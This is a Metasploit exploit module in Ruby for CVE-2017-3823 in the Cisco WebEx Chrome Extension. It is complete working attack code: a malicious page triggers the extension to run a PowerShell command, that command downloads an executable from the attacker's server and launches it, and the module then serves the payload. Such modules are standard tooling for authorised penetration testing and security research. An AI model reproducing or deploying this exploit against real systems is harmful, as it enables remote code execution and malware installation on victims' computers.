##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "Cisco WebEx Chrome Extension RCE (CVE-2017-3823)",
'Description' => %q{
This module exploits a vulnerability present in the Cisco WebEx Chrome Extension
version 1.0.1 which allows an attacker to execute arbitrary commands on a system.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy <taviso@google.com>', # Original research/PoC
'William Webb <william_webb[at]rapid7.com>' # Metasploit module
],
'Platform' => 'win',
'DefaultOptions' =>
{
'SSL' => true,
},
'Targets' =>
[
[ 'Cisco WebEx Extension 1.0.1',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
],
'References' =>
[
[ 'CVE', '2017-3823' ],
],
'Arch' => ARCH_X86,
'DisclosureDate' => "Jan 21 2017",
'DefaultTarget' => 0
))
end
def setup
@payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}"
@payload_exe = "#{Rex::Text.rand_text_alpha(8)}.exe"
super
end
def exploit_html(cli, req_uri)
base_uri = "#{get_resource.chomp('/')}"
html = %Q~
<html>
<head>
<script>
var msg = {
GpcProductRoot: "WebEx",
GpcMovingInSubdir: "Wanta",
GpcProductVersion: "T30_MC",
GpcUnpackName: "atgpcdec",
GpcExtName: "atgpcext",
GpcUnpackVersion: "27, 17, 2016, 501",
GpcExtVersion: "3015, 0, 2016, 1117",
GpcUrlRoot: "http://127.0.0.1/",
GpcComponentName: btoa("MSVCR100.DLL"),
GpcSuppressInstallation: btoa("True"),
GpcFullPage: "True",
GpcInitCall: btoa("_wsystem(Ex1);"),
Ex1: btoa("PowerShell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ; $wc = New-Object System.Net.WebClient ; $pl = $env:temp+'\\#{@payload_exe}' ; $wc.DownloadFile('https://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{base_uri}/#{@payload_uri}', $pl) ; Start-Process $pl"),
}
function runcode()
{
document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }}));
document.dispatchEvent(new CustomEvent("message", { detail: {
message: JSON.stringify(msg),
message_type: "launch_meeting",
timestamp: (new Date()).toUTCString(),
token: "token"
}
}));
}
</script>
</head>
<body onload="runcode()">
</body>
</html>
~
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
end
def on_request_uri(cli, request)
print_status("Got request: #{request.uri}")
print_status("From: #{request.headers['User-Agent']}")
if request.uri =~ /cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b\.html/
print_status("Sending exploit html ...")
exploit_html(cli, request.uri)
close_client(cli)
return
elsif request.uri =~ /.*#{@payload_uri}$/
return if ((payload = regenerate_payload(cli)) == nil)
print_status("Sending payload ...")
send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' })
else
base_uri = "#{get_resource.chomp('/')}"
html = %Q~
<html>
<head>
<meta http-equiv="refresh" content="0; URL='#{get_resource}/cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html' />"
</head>
<body>
</body>
</html>
~
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
close_client(cli)
end
end
end